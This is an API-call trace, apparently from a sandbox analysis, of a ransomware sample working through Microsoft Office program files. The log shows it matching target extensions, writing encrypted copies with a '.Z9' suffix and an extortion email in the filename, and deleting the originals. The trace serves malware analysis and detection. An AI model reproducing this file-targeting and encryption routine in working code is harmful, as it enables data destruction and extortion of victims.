	[0169.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.662] lstrlenW (lpString=".doc") returned 4
	[0169.662] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString=".docx") returned 5
	[0169.662] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.662] lstrlenW (lpString=".pdf") returned 4
	[0169.662] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString=".xls") returned 4
	[0169.662] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.662] lstrlenW (lpString=".xlsx") returned 5
	[0169.662] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.662] lstrlenW (lpString=".ppt") returned 4
	[0169.663] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.663] lstrlenW (lpString=".zip") returned 4
	[0169.663] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.663] lstrlenW (lpString=".rar") returned 4
	[0169.663] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.663] lstrlenW (lpString=".bz2") returned 4
	[0169.663] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.663] lstrlenW (lpString=".7z") returned 3
	[0169.663] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.663] lstrlenW (lpString=".dbf") returned 4
	[0169.663] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.663] lstrlenW (lpString=".1cd") returned 4
	[0169.663] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-convert-l1-1-0.dll") returned 82
	[0169.663] lstrlenW (lpString=".jpg") returned 4
	[0169.663] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.663] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.663] lstrlenW (lpString="api-ms-win-crt-environment-l1-1-0.dll") returned 37
	[0169.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0169.664] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=19136) returned 1
	[0169.664] CloseHandle (hObject=0x520) returned 1
	[0169.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220
	[0169.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0169.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0169.665] lstrlenW (lpString=".doc") returned 4
	[0169.665] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.665] lstrlenW (lpString=".docx") returned 5
	[0169.665] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0169.665] lstrlenW (lpString=".pdf") returned 4
	[0169.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.665] lstrlenW (lpString=".xls") returned 4
	[0169.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.665] lstrlenW (lpString=".xlsx") returned 5
	[0169.665] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0169.665] lstrlenW (lpString=".ppt") returned 4
	[0169.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0169.665] lstrlenW (lpString=".zip") returned 4
	[0169.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.665] lstrlenW (lpString=".rar") returned 4
	[0169.666] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.666] lstrlenW (lpString=".bz2") returned 4
	[0169.666] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.666] lstrlenW (lpString=".7z") returned 3
	[0169.666] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\api-ms-win-crt-environment-l1-1-0.dll") returned 86
	[0169.666] lstrlenW (lpString=".dbf") returned 4
	[0169.666] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
	[0169.699] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.699] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0169.701] GetLastError () returned 0x0
	[0169.702] ReadFile (in: hFile=0x524, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x221, lpOverlapped=0x0) returned 1
	[0169.703] WriteFile (in: hFile=0x52c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x230, lpOverlapped=0x0) returned 1
	[0169.703] ReadFile (in: hFile=0x524, lpBuffer=0x3ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesRead=0x34afecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.704] WriteFile (in: hFile=0x52c, lpBuffer=0x3ea0020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x34afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ea0020*, lpNumberOfBytesWritten=0x34afc94*=0x10c, lpOverlapped=0x0) returned 1
	[0169.704] SetEndOfFile (hFile=0x52c) returned 1
	[0169.704] CloseHandle (hObject=0x52c) returned 1
	[0169.704] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34afec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.704] SetEndOfFile (hFile=0x524) returned 1
	[0169.711] CloseHandle (hObject=0x524) returned 1
	[0169.711] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0169.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1
	[0169.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString=".doc") returned 4
	[0169.713] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString=".docx") returned 5
	[0169.713] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0169.713] lstrlenW (lpString=".pdf") returned 4
	[0169.713] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString=".xls") returned 4
	[0169.713] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString=".xlsx") returned 5
	[0169.713] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0169.713] lstrlenW (lpString=".ppt") returned 4
	[0169.713] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString=".zip") returned 4
	[0169.713] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString=".rar") returned 4
	[0169.713] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString=".bz2") returned 4
	[0169.713] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString=".7z") returned 3
	[0169.713] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString=".dbf") returned 4
	[0169.713] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString=".1cd") returned 4
	[0169.713] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString=".jpg") returned 4
	[0169.713] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.713] lstrlenW (lpString=".doc") returned 4
	[0169.714] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString=".docx") returned 5
	[0169.714] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1
	[0169.714] lstrlenW (lpString=".pdf") returned 4
	[0169.714] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString=".xls") returned 4
	[0169.714] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString=".xlsx") returned 5
	[0169.714] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1
	[0169.714] lstrlenW (lpString=".ppt") returned 4
	[0169.714] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.714] lstrlenW (lpString=".zip") returned 4
	[0169.714] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString=".rar") returned 4
	[0169.714] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString=".bz2") returned 4
	[0169.714] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString=".7z") returned 3
	[0169.714] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1
	[0169.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.714] lstrlenW (lpString=".dbf") returned 4
	[0169.714] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.714] lstrlenW (lpString=".1cd") returned 4
	[0169.714] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1
	[0169.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77
	[0169.714] lstrlenW (lpString=".jpg") returned 4
	[0169.714] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1
	[0169.714] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.714] lstrlenW (lpString="AppVPackaging.dll") returned 17
	[0169.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0169.774] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=578264) returned 1
	[0169.774] CloseHandle (hObject=0x530) returned 1
	[0169.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll")) returned 0x220
	[0169.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0169.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvpackaging.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0169.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.774] lstrlenW (lpString=".doc") returned 4
	[0169.774] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.774] lstrlenW (lpString=".docx") returned 5
	[0169.774] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0169.774] lstrlenW (lpString=".pdf") returned 4
	[0169.774] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".xls") returned 4
	[0169.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".xlsx") returned 5
	[0169.775] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0169.775] lstrlenW (lpString=".ppt") returned 4
	[0169.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.775] lstrlenW (lpString=".zip") returned 4
	[0169.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".rar") returned 4
	[0169.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".bz2") returned 4
	[0169.775] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.775] lstrlenW (lpString=".7z") returned 3
	[0169.775] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.775] lstrlenW (lpString=".dbf") returned 4
	[0169.775] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.775] lstrlenW (lpString=".1cd") returned 4
	[0169.775] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.775] lstrlenW (lpString=".jpg") returned 4
	[0169.775] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.775] lstrlenW (lpString=".doc") returned 4
	[0169.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".docx") returned 5
	[0169.775] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0169.775] lstrlenW (lpString=".pdf") returned 4
	[0169.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".xls") returned 4
	[0169.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0169.775] lstrlenW (lpString=".xlsx") returned 5
	[0169.776] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0169.776] lstrlenW (lpString=".ppt") returned 4
	[0169.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0169.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.776] lstrlenW (lpString=".zip") returned 4
	[0169.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0169.776] lstrlenW (lpString=".rar") returned 4
	[0169.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0169.776] lstrlenW (lpString=".bz2") returned 4
	[0169.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0169.776] lstrlenW (lpString=".7z") returned 3
	[0169.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0169.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.776] lstrlenW (lpString=".dbf") returned 4
	[0169.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0169.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.776] lstrlenW (lpString=".1cd") returned 4
	[0169.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0169.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVPackaging.dll") returned 66
	[0169.776] lstrlenW (lpString=".jpg") returned 4
	[0169.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0169.776] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0169.776] lstrlenW (lpString="AppVStreamMap.dll") returned 17
	[0169.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0169.788] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=194776) returned 1
	[0169.788] CloseHandle (hObject=0x520) returned 1
	[0169.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll")) returned 0x220
	[0169.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvstreammap.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0170.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.477] lstrlenW (lpString=".doc") returned 4
	[0170.477] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.477] lstrlenW (lpString=".docx") returned 5
	[0170.477] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0170.477] lstrlenW (lpString=".pdf") returned 4
	[0170.477] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.477] lstrlenW (lpString=".xls") returned 4
	[0170.477] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.477] lstrlenW (lpString=".xlsx") returned 5
	[0170.478] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0170.478] lstrlenW (lpString=".ppt") returned 4
	[0170.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.478] lstrlenW (lpString=".zip") returned 4
	[0170.478] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString=".rar") returned 4
	[0170.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString=".bz2") returned 4
	[0170.478] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.478] lstrlenW (lpString=".7z") returned 3
	[0170.478] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.478] lstrlenW (lpString=".dbf") returned 4
	[0170.478] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.478] lstrlenW (lpString=".1cd") returned 4
	[0170.478] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.478] lstrlenW (lpString=".jpg") returned 4
	[0170.478] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.478] lstrlenW (lpString=".doc") returned 4
	[0170.478] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString=".docx") returned 5
	[0170.478] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0170.478] lstrlenW (lpString=".pdf") returned 4
	[0170.478] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString=".xls") returned 4
	[0170.478] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0170.478] lstrlenW (lpString=".xlsx") returned 5
	[0170.478] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0170.478] lstrlenW (lpString=".ppt") returned 4
	[0170.478] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0170.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.479] lstrlenW (lpString=".zip") returned 4
	[0170.479] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0170.479] lstrlenW (lpString=".rar") returned 4
	[0170.479] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0170.479] lstrlenW (lpString=".bz2") returned 4
	[0170.479] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0170.479] lstrlenW (lpString=".7z") returned 3
	[0170.479] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0170.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.479] lstrlenW (lpString=".dbf") returned 4
	[0170.479] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0170.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.479] lstrlenW (lpString=".1cd") returned 4
	[0170.479] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0170.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVStreamMap.dll") returned 66
	[0170.479] lstrlenW (lpString=".jpg") returned 4
	[0170.479] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0170.479] lstrcmpiW (lpString1=".msi", lpString2=".Z9") returned -1
	[0170.479] lstrlenW (lpString="SPPRedist.msi") returned 13
	[0170.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0170.598] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=12640256) returned 1
	[0170.598] CloseHandle (hObject=0x538) returned 1
	[0170.598] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi")) returned 0x220
	[0170.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0170.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\SPPRedist.msi.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\integration\\sppredist.msi.id-b4197730.[help.me24@protonmail.com].z9")) returned 0
